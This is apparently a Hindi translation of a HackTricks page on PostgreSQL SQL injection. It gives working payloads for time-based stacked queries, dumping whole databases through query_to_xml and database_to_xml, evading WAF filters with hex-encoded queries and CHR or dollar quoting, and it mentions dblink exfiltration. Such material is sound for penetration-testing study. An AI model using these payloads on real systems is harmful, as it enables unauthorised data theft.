PostgreSQL injection

Support HackTricks

यदि आप हैकिंग करियर में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है)।


यह पृष्ठ विभिन्न ट्रिक्स को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकते हैं और उन ट्रिक्स को पूरा कर सकते हैं जो आप https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md पर पा सकते हैं।

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

PostgreSQL मॉड्यूल dblink अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, COPY FROM कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि इन हमलों को कैसे करें

आप इस उदाहरण को पढ़ सकते हैं यह देखने के लिए कि कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर बड़े ऑब्जेक्ट्स की सामग्री को फ़ंक्शन dblink_connect के उपयोगकर्ता नाम के अंदर एक्सफिल्ट्रेट करें।

PostgreSQL हमले: पढ़ें/लिखें, RCE, प्रिवेस्क

देखें कि PostgreSQL से होस्ट को कैसे समझौता करें और विशेषाधिकार कैसे बढ़ाएं:

5432,5433 - Pentesting Postgresql

WAF बायपास

PostgreSQL स्ट्रिंग फ़ंक्शन

स्ट्रिंग्स को मैनिपुलेट करना आपको WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है। इस पृष्ठ में आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।

स्टैक्ड क्वेरीज़

याद रखें कि PostgreSQL स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंक देंगे यदि 2 प्रतिक्रियाएँ लौटाई जाती हैं जबकि केवल 1 की अपेक्षा की जाती है। लेकिन, आप अभी भी टाइम इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML ट्रिक्स

query_to_xml

यह फ़ंक्शन सभी डेटा को XML प्रारूप में केवल एक फ़ाइल में लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं तो यह आदर्श है:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

यह फ़ंक्शन पूरे डेटाबेस को XML प्रारूप में केवल 1 पंक्ति में डंप करेगा (यदि डेटाबेस बहुत बड़ा है तो सावधान रहें क्योंकि आप इसे DoS कर सकते हैं या यहां तक कि अपने स्वयं के क्लाइंट को भी):

SELECT database_to_xml(true,true,'');

Strings in Hex

यदि आप क्वेरीज़ चला सकते हैं जो एक स्ट्रिंग के अंदर पास की जाती हैं (उदाहरण के लिए query_to_xml फ़ंक्शन का उपयोग करके)। आप स्ट्रिंग को हेक्स के रूप में पास करने के लिए convert_from का उपयोग कर सकते हैं और इस तरह फ़िल्टर को बायपास कर सकते हैं:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

निषिद्ध उद्धरण

यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे CHR के साथ बायपास कर सकते हैं बुनियादी क्लॉज़ के लिए (अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

या $ के साथ। ये क्वेरी समान परिणाम लौटाती हैं:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

यदि आप हैकिंग करियर में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है).

HackTricks का समर्थन करें

Last updated